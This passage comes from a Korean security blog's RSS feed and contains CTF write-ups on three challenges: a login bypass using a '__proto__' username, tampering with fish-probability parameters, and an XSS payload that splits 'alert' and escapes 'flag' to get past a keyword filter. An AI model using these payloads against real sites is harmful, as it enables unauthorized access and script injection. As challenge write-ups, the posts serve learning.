    return res.send(&quot;invalid credentials&quot;);
  }

  res.send(FLAG);
});&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그인 폼 제출되면 POST / 로 들어온다&lt;/li&gt;
&lt;li&gt;사용자가 입력한 username, passowrd가 바디로 요청함&lt;/li&gt;
&lt;li&gt;user 변수엔 {password: &quot;랜덤 비밀번호&quot;} 가 들어있음&lt;/li&gt;
&lt;li&gt;!user : username의 계정이 없으면 실패 / 비밀번호 다르면 실패&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점 분석&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 넣은 문자열을 객체 키로 사용함&lt;br /&gt;&amp;rarr; __proto__ 같은 특수 키를 이용하면 의도하지 않은 객체가 user에 들어감&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;익스플로잇&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username=&quot;__proto__&quot; 를 입력해주면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;825&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WNUKN/dJMcacbilJG/r15OnYtprGb8dXPX6f7yOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WNUKN/dJMcacbilJG/r15OnYtprGb8dXPX6f7yOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WNUKN/dJMcacbilJG/r15OnYtprGb8dXPX6f7yOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWNUKN%2FdJMcacbilJG%2Fr15OnYtprGb8dXPX6f7yOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;725&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;825&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username에 __proto__를 넣으면&lt;/p&gt;
&lt;pre id=&quot;code_1773580018831&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const user = users[username]; ===&amp;gt; const user = users[&quot;__proto__&quot;];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;객체의 프로토타입에 연결된 특수한 키 처럼 동작이 가능하다. 그래서 users[&quot;__proto__&quot;]는 보통 Object.prototype 같은 값을 가져오게 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉,&lt;/p&gt;
&lt;pre id=&quot;code_1773580119888&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;users[&quot;__proto__&quot;] -&amp;gt; Object.prototype&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 user = Object.prototype이 되고 조건문을 살펴보면&lt;/p&gt;
&lt;pre id=&quot;code_1773580195330&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (!user || user.password !== password) {
    return res.send(&quot;invalid credentials&quot;);
  }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user은 truthy가 되고, !user는 false가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 password를 아예 안 보내면 password === ubdefined가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 Object.prototype.password도 기본적으로 undefined라서&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;undefined !== undefined로 결과가 false가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773580290793&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(false || false)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가 되어 통과하고 FLAG가 나온다.&lt;/p&gt;</description>
      <category>Alpacahack</category>
      <category>alpacahack</category>
      <category>web</category>
      <category>webhacking</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/169</guid>
      <comments>https://yeonbugs.tistory.com/169#entry169comment</comments>
      <pubDate>Sun, 15 Mar 2026 22:13:13 +0900</pubDate>
    </item>
    <item>
      <title>Fishing</title>
      <link>https://yeonbugs.tistory.com/167</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제설명&lt;/h2&gt;
&lt;div style=&quot;background-color: #ffffff; color: #3f3f3f; text-align: left;&quot; data-v-b13878bc=&quot;&quot;&gt;&lt;span style=&quot;color: #1a1a1b;&quot; data-v-b13878bc=&quot;&quot;&gt;문제 설명&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;challenge-description&quot; style=&quot;background-color: #ffffff; color: #3f3f3f; text-align: left;&quot; data-v-b13878bc=&quot;&quot;&gt;
&lt;div style=&quot;color: #000000;&quot; data-v-b13878bc=&quot;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;낚시.. 좋아하시나요..?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용된 이미지는 모두 nocopyright 이미지를 사용하였습니다.&lt;/b&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드분석&lt;/h2&gt;
&lt;pre id=&quot;code_1772696482146&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FISHLIST_PATH = 'fishlist.txt'
FLAG_IMAGE_PATH = 'flag.jpg'


def load_fishes():
    fishes = []
    grade = None
    with open(FISHLIST_PATH, encoding=&quot;utf-8&quot;) as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            if line.startswith(&quot;등급&quot;):
                grade = line.split(&quot;:&quot;)[1].strip()
                continue
            if ' ' in line:
                name, prob = line.rsplit(' ', 1)
                prob = float(prob)
                fishes.append({
                    'name': name,
                    'img': f&quot;{name}.jpg&quot;,
                    'prob': prob,
                    'grade': grade
                })
    return fishes&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;fishlist.txt에서&amp;nbsp; 물고기 리스트 데이터 가져오고 flag는 flag.jpg에 있는 듯 하다.&lt;/li&gt;
&lt;li&gt;물고기와 등급이 있고, 리스트에서 가져오는듯&lt;/li&gt;
&lt;li&gt;잡은 물고기의 name, img, prob, grage 나와있는 것처럼 데이터를 처리함&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772696914200&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ISHES = load_fishes()
DEFAULT_PROBS = [fish['prob'] for fish in FISHES]


def pick_fish(fishes):
    r = random.random()
    total = 0
    for fish in fishes:
        total += fish['prob']
        if r &amp;lt; total:
            return fish
    return fishes[-1]&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;물고기는 랜덤뽑기 함수인듯&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772696395064&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/&quot;)
def index():
    caught = session.get(&quot;caught&quot;, [])
    return render_template(&quot;index.html&quot;, fishes=FISHES, caught=caught)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잡은 물고기를 보여줌&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772696966497&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/fish&quot;, methods=[&quot;POST&quot;])
def fish():
    probs = request.form.getlist(&quot;probs&quot;, type=float)
    if len(probs) != len(FISHES):
        probs = DEFAULT_PROBS

    fishes = []
    for i, fish in enumerate(FISHES):
        fishes.append({
            &quot;name&quot;: fish['name'],
            &quot;img&quot;: fish['img'],
            &quot;prob&quot;: probs[i],
            &quot;grade&quot;: fish['grade']
        })

    fish = pick_fish(fishes)
    caught = session.get(&quot;caught&quot;, [])
    if fish['name'] not in caught:
        caught.append(fish['name'])
        session['caught'] = caught

    return jsonify({
        'name': fish['name'],
        'img': fish['img'],
        'grade': fish['grade']
    })&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잡은 물고기 처리를 담당&lt;/li&gt;
&lt;li&gt;probs를 사용자 입력으로 받음&lt;/li&gt;
&lt;li&gt;잡은 거 name, img, grade로 리턴하고 저장함&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772701728819&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag_image&quot;)
def flag_image():
    caught = session.get(&quot;caught&quot;, [])
    if &quot;flag&quot; in caught:
        if os.path.exists(FLAG_IMAGE_PATH):
            return send_file(FLAG_IMAGE_PATH, mimetype=&quot;image/jpeg&quot;)
        else:
            return abort(404)
    return abort(403)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잡은 게 flag이면 FLAG를 jpeg 형태로 출력&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점 분석&lt;/h2&gt;
&lt;pre id=&quot;code_1772702314038&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; probs = request.form.getlist(&quot;probs&quot;, type=float)
 if len(probs) != len(FISHES):
        probs = DEFAULT_PROBS&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 입력한 값을 그대로 probs로 사용함&lt;/li&gt;
&lt;li&gt;길이만 맞다면 그 값을 신뢰하고 사용함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;익스플로잇&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 /fish 엔드포인트를 가로채 헤더와 바디를 추가해 준다.&lt;/p&gt;
&lt;pre id=&quot;code_1772702486865&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Content-Type: application/x-www-form-urlencoded

probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=0&amp;amp;probs=1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1835&quot; data-origin-height=&quot;563&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l8q8F/dJMcagkkYXX/6ELh1PGkVP6CmJ6JzTb6R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l8q8F/dJMcagkkYXX/6ELh1PGkVP6CmJ6JzTb6R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l8q8F/dJMcagkkYXX/6ELh1PGkVP6CmJ6JzTb6R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl8q8F%2FdJMcagkkYXX%2F6ELh1PGkVP6CmJ6JzTb6R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;668&quot; height=&quot;205&quot; data-origin-width=&quot;1835&quot; data-origin-height=&quot;563&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag 파일을 확인을 했으니 이 세션 값을 가지고 /fiag_images 엔드포인트에 GET 요청을 보내면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1837&quot; data-origin-height=&quot;639&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b32wmN/dJMcafZ1A5w/oc4GYioALpKx3Vn8CTd0ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b32wmN/dJMcafZ1A5w/oc4GYioALpKx3Vn8CTd0ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b32wmN/dJMcafZ1A5w/oc4GYioALpKx3Vn8CTd0ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb32wmN%2FdJMcafZ1A5w%2Foc4GYioALpKx3Vn8CTd0ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;236&quot; data-origin-width=&quot;1837&quot; data-origin-height=&quot;639&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 파일이 바이너리 파일이므로 Render 탭에서 확인해 보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUVyHf/dJMcadA5wC7/750V4c9IPpahEqsSTqQ6Z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUVyHf/dJMcadA5wC7/750V4c9IPpahEqsSTqQ6Z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUVyHf/dJMcadA5wC7/750V4c9IPpahEqsSTqQ6Z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUVyHf%2FdJMcadA5wC7%2F750V4c9IPpahEqsSTqQ6Z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;558&quot; height=&quot;170&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Dreamhack 워게임/Lv.1</category>
      <category>DreamHack</category>
      <category>web</category>
      <category>드림핵</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/167</guid>
      <comments>https://yeonbugs.tistory.com/167#entry167comment</comments>
      <pubDate>Thu, 5 Mar 2026 18:27:10 +0900</pubDate>
    </item>
    <item>
      <title>Alert my Flag</title>
      <link>https://yeonbugs.tistory.com/166</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Topic: XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분야: Web&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;난이도: Medium&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;Run&amp;nbsp;&lt;/span&gt;alert(flag)&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;to win!&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드분석&lt;/h2&gt;
&lt;pre id=&quot;code_1772693211876&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(type === &quot;alert&quot; &amp;amp;&amp;amp; message === FLAG) {
        successful = true;
      }
      await dialog.accept();
    });&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;visit 함수 일부분&lt;/li&gt;
&lt;li&gt;alert의 메시지가 FLAG와 같으면 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772691298002&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.get(&quot;/&quot;, async (req, res) =&amp;gt; {

  const flag = req.cookies.flag ?? &quot;fake_flag&quot;;

  const username = req.query.username ?? &quot;guest&quot;;

  let result;
  if(username.includes(&quot;flag&quot;) || username.includes(&quot;alert&quot;)) {
    result = &quot;&amp;lt;p&amp;gt;invalid input&amp;lt;/p&amp;gt;&quot;;
  } else {
    result = `&amp;lt;h1&amp;gt;Hello ${username}!&amp;lt;/h1&amp;gt;`
  }

  const html = `&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;script&amp;gt;const flag=&quot;${flag}&quot;;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  ${result}
  &amp;lt;p&amp;gt;Try &amp;lt;a href=&quot;/?username=&amp;lt;i&amp;gt;admin&amp;lt;/i&amp;gt;&quot;&amp;gt;this page?&amp;lt;/a&amp;gt;
  &amp;lt;p&amp;gt;Was &quot;alert(flag)&quot; successful? &amp;lt;form action=&quot;/report&quot; method=&quot;POST&quot;&amp;gt;&amp;lt;input hidden id=&quot;username&quot; name=&quot;username&quot;&amp;gt;&amp;lt;button&amp;gt;Submit this page!&amp;lt;/button&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;
  &amp;lt;script&amp;gt;
    document.getElementById(&quot;username&quot;).value = new URLSearchParams(location.search).get(&quot;username&quot;)&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;`;
  return res.send(html);
});&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠키에서 flag값 읽고 없으면 fake_flag 사용&lt;/li&gt;
&lt;li&gt;URL 쿼리 username을 읽고 없으면 guest&lt;/li&gt;
&lt;li&gt;&quot;flag&quot;랑 &quot;alert&quot; 문자열만 필터&lt;/li&gt;
&lt;li&gt;&amp;lt;h1&amp;gt; Hello ${username}! &amp;lt;h1&amp;gt;에서 username을 그대로 삽입함&lt;/li&gt;
&lt;li&gt;flag를 &amp;lt;script&amp;gt;const flag&quot;${flag}&quot;&amp;lt;/script&amp;gt;로 노출&lt;/li&gt;
&lt;li&gt;result를 body에 삽입&lt;/li&gt;
&lt;li&gt;/report로 보내는 form이 있고 hidden input username 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/?username= ??? 로 넣은 값이 페이지에 반영되고, 그 값이 report POST에도 전달되도록 연결된 구조&lt;/p&gt;
&lt;pre id=&quot;code_1772691746433&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.post(&quot;/report&quot;, async (req, res) =&amp;gt; {
  const { username } = req.body;
  if (typeof username !== &quot;string&quot;) {
    return res.status(400).send(&quot;Invalid username&quot;);
  }

  const url = `${APP_URL}?username=${encodeURIComponent(username)}`;

  try {
    const result = await visit(url);
    return res.send(result ? FLAG : &quot;Failed...&quot;);
  } catch (e) {
    console.error(e);
    return res.status(500).send(&quot;Something wrong&quot;);
  }
});&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;username를 폼 body에서 꺼냄&lt;/li&gt;
&lt;li&gt;username이 문자열이 아니면 400 에러 메시지&lt;/li&gt;
&lt;li&gt;입력값을 URL 인코딩해서 내부 봇이 방문할 URL 생성&lt;/li&gt;
&lt;li&gt;봇이 url 다녀오면서 alert() 메시지가 FLAG와 정확히 같으면 true&lt;/li&gt;
&lt;li&gt;성공 시 FLAG, 실패 시 Failed 반환&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점 분석&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;username이 HTML 그대로 삽입됨&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772693391891&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Hello ${username}&amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;flag, alert만 문자열 검사함&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772693431612&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(username.includes(&quot;flag&quot;) || username.includes(&quot;alert&quot;))&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;flag 재노출&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1772693486857&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;const flag=&quot;${flag}&quot;;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;익스플로잇&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 alert 문자열은 우회를 위해 ['al'+'ert'] 와 같이 쪼개서 필터에 걸리지 않게 함&lt;/p&gt;
&lt;pre id=&quot;code_1772693616580&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;alert =&amp;gt; ['al'+'ert']&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Httponly = true로 설정이 걸려있어 document.cookie로 쿠키를 못 읽지만 HTML에 노출된 스크립트 내용을 통해 FLAG를 획득할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지를 살펴보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lYmKI/dJMcaaRZGts/lDvE77kwmXpFCVlQmqWsA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lYmKI/dJMcaaRZGts/lDvE77kwmXpFCVlQmqWsA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lYmKI/dJMcaaRZGts/lDvE77kwmXpFCVlQmqWsA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlYmKI%2FdJMcaaRZGts%2FlDvE77kwmXpFCVlQmqWsA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;803&quot; height=&quot;255&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;this page 버튼 클릭 시 /?username=&amp;lt;i&amp;gt; admin &amp;lt;/i&amp;gt;로 기울림이 적용된 것을 확인&lt;/li&gt;
&lt;li&gt;그렇다면 &amp;lt;h1&amp;gt; Hello &amp;lt;/h1&amp;gt; &amp;lt;i&amp;gt; admin &amp;lt;/i&amp;gt; &amp;lt;h1&amp;gt; ! &amp;lt;/h1&amp;gt; 과 같이 HTML이 적용되는 것을 확인&lt;/li&gt;
&lt;li&gt;따라서 &amp;lt;i&amp;gt;admin&amp;lt;/i&amp;gt; 자리에 스크립트를 삽입&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 총 페이로드를&lt;/p&gt;
&lt;pre id=&quot;code_1772693860745&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;/h1&amp;gt;&amp;lt;script&amp;gt;this['al'+'ert'](\u0066lag)&amp;lt;/script&amp;gt;&amp;lt;h1&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 burpsuite에서 /report 엔드포인트를 확인해 보니&lt;/p&gt;
